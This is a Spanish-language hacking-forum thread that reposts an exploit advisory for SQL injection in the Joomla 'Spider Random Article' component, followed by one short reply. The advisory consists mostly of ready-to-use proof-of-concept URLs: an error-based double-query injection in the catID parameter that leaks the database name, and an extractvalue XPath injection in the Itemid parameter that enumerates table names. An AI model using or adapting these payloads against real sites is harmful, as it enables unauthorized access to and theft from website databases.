Underc0de - Hacking y seguridad informática

[In]Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: Mayk0 en Abril 06, 2015, 12:16:50 am

Título: Joomla Spider Random Article Component - SQL Injection
Publicado por: Mayk0 en Abril 06, 2015, 12:16:50 am
Código: You are not allowed to view links. Register or Login
##################################################################################################
#Exploit Title : Joomla Spider Random Article Component SQL Injection vulnerability
#Author        : Jagriti Sahu AKA Incredible
#Vendor Link   : http://demo.web-dorado.com/spider-random-article.html
#Date          : 22/03/2015
#Discovered at : IndiShell Lab
#Love to       : error1046 ^_^ ,Team IndiShell,Codebreaker ICA ,Subhi,Mrudu,Hary,Kavi ^_^
##################################################################################################
 
////////////////////////
/// Overview:
////////////////////////
 
 
joomla component "Spider Random Article" is not filtering data in catID and Itemid parameters
and hence affected by SQL injection vulnerability
 
///////////////////////////////
// Vulnerability Description:
///////////////////////////////
vulnerability is due to catID and Itemid parameter
 
 
////////////////
///  POC   ////
///////////////
 
 
SQL Injection in catID parameter
=================================
 
Use error based double query injection with catID parameter
 
Injected Link--->
 
Like error based double query injection for exploiting username --->
http://server/index.php?option=com_rand&catID=1' and(select 1 FROM(select count(*),concat((select (select concat(database(),0x27,0x7e)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -&limit=1&style=1&view=articles&format=raw&Itemid=13
 
 
SQL Injection in Itemid parameter
=================================
 
Itemid Parameter is exploitable using xpath injection
 
http://server/index.php?option=com_rand&catID=1&limit=1&style=1&view=articles&format=raw&Itemid=13'and extractvalue(6678,concat(0x7e,(select  table_name from information_schema.tables where table_schema=database() LIMIT 0,1),0x7e ))-- -
 
###################################################################################################
Título: Re:Joomla Spider Random Article Component - SQL Injection
Publicado por: EPSILON en Abril 06, 2015, 03:04:35 am
No se si busque mal pero parece un complemento Joomla poco utilizado jaja, una lastima.